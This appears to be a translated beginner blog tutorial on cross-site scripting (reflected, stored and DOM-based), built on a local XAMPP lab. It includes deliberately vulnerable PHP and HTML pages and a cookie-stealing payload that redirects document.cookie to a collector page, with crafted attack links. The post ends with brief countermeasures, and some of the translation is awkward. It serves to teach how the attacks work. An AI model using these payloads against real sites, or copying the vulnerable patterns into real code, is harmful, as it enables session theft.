Hi, I'm ikkyu, and I had a chance to summarize XSS, so I thought I'd write about it. XSS is a bit complicated for beginners, isn't it? There are not many sites that explain XSS with concrete code, so it's hard to visualize.
twitter:@ikk_hck
What is XSS?
According to the IPA (Information-technology Promotion Agency, Japan), cross-site scripting accounts for 58% of all reported website vulnerabilities.
The fundamental problem is that it is possible to insert scripts into a website from the outside.
In addition, cross-site scripting basically targets applications that dynamically generate pages in response to user input.
Recently, cross-site scripting is called cross-site scripting even if it is not cross-site (in this case, redirected), which tends to confuse newcomers.
Same-origin policy
First of all, there is a restriction on the same source policy for browsers. For example, if I visit another site and my browser executes a script that was written there, the script will not be able to retrieve my browser's cookies.
In short, browsers are built with the concept of "same origin policy", so a script loaded from one site cannot access data from another site. And XSS is all about circumventing the identity restriction policy restrictions.
Types of XSS
- Reflected XSS
- Stored XSS
- DOM-based XSS
If you are new to XSS, the following explanation may not seem like much to you, but don't worry. If you are new to XSS, the following explanation may not be very clear to you, but don't worry, just skim through it and read here again after you finish reading the article.
First of all, there is a horizontal frame, which contains reflective and retractive types. For these, the attack script is executed on the server side. On the other hand, the DOM-based type will have the attack script executed on the front side (*basically).
Next, the vertical frame, DOM-based is classified as a reflective type, so it is in the same frame as the reflective type. The reflective and DOM-based types are similar in some ways, so the DOM-based type is classified as a subcategory of the reflective type.
Reflected type
- The attacker prepares a link containing a malicious script in a fake email or on a fake website
- The attacker directs the user to a vulnerable website by making the user step on the link (make a request)
- Execute the malicious script in the user's browser
- Exploit information or download malware The process is as follows It is called "Reflexive XSS" because the script is returned to the requestor.
For example, let's assume that the site "http://localhost/sample.php" in the link prepared by the attacker in ① in the figure looks like the following.
<?php
session_start();
?>
<?php
header("Content-Type: text/html; charset=UTF-8");
$input = filter_input(INPUT_GET, "q");
?>
<!doctype html>
<html>
<head>
<title>xss</title>
</head>
<body>
<form>
<input type="text" name="q" value="<?=$input?>">
<input type="submit" value="search">
</form>
<?php
if($input):
?>
<?=$input?> is found.
<?php
endif;
?>
</body>
</html>
The output of the page will look like this.
As a side note, when building an environment with XAMPP, if you download XAMPP from chrome on a mac, it won't work. In my case it worked fine from safari.
Here, you can attach a link like "http://localhost/sample.php?q=var id = document.cookie; window.location=<code>http://localhost/tmp.php?sessionid=${id}</code>"
and attach the link to an email or something, and have someone follow the link. In the js that I use for the query, I first put the cookie in the id variable, and then redirect the user to tmp.php, keeping that variable. When the link is clicked, the
<?php
if($input):
?>
<?=$input?> is found.
<?php
endif;
?>
In sample.php, the <? =$input?> part
<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
is inserted and fires, redirecting the page to tmp.php with the cookie intact as planned. tmp.php, for example
<?php
header("Content-Type: text/html; charset=UTF-8");
$input = filter_input(INPUT_GET, "sessionid");
?>
<!doctype html>
<html>
<head>
<title>xss</title>
</head>
<body>
<?=$input?>
</body>
</html>
It stores the content of the received sessionid in $input and displays it.
You can see that the session ID is displayed.
Stored type
The characteristics of the stored type are
- The script is written to the database
- Users only need to use the web app as usual to execute the attack
- The attack can be carried out on an unspecified number of users after some time has passed
etc.
Let's take a bulletin board site as an example. First, an attacker posts a string containing a malicious script to the bulletin board. The malicious script will then be stored in the database used by the web application.
When this happens, the script runs persistently on the web page, regardless of whether the attack code is written in the HTTP request or not, as in the reflective type. Since the code is executed every time a user accesses the page, the damage tends to increase.
DOM-based type
Features
- Reflective subcategories
- Runs in the client's browser
- No scripts embedded in HTML
- Bypasses the browser's XSS protection mechanism
Since the script is not embedded in the HTML, the server side does not output the attack script. In other words, while reflective and retractive attacks exploit server-side bugs, DOM-base attacks exploit client-side bugs.
<!doctype html>
<html>
<head>
<title>xss</title>
</head>
<body>
<script>
document.write(decodeURIComponent (location.hash));
</script>
</body>
</html>
Suppose you have a dom_based.html like this Now, create a link "http://localhost/dom_based.html#var id = document.cookie; window.location=<code>http://localhost/tmp.php?sessionid =${id}</code>" and make someone step on the link as in the reflective type. The composition is the same as what we saw in the reflective type.
Then, in the script tag in dom_based.html,
<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
written under # in the link will fire, redirecting to tmp.php and leaking the cookie. The important difference here from the reflective type is that the server does not output the attack script.
In recent years, as the use of JavaScript to manipulate HTML in browsers has increased, the rate of DOM-based XSS has also increased.
security measures
- Keep your applications up-to-date Sanitizing
- Block unauthorized emails
- WAF
- Specifying character encoding in the Content-Type field of HTTP response headers
These are just a few examples. In this article, I will not go into the details of each countermeasure, as I will only discuss the behavior and mechanism of xss.
- Use "createElement", "createTextNode", etc. instead of "document.write", etc
- If you really want to use "document.write", escape it in that place
- Check the behavior of fragment identifiers
It is also important to check the behavior of fragment identifier values. As for the last point, "check the behavior of fragment identifier values", reflected XSS determines whether or not there is a vulnerability based on whether or not the script is input to the web application and is output in the response returned from the website.
DOM-based XSS, on the other hand, is completed in the front-end and the script is not output in the response from the website. Therefore, it is not possible to diagnose the presence of vulnerabilities using the same method as for reflected XSS.
Top comments (1)
Brilliant explanation. Well done.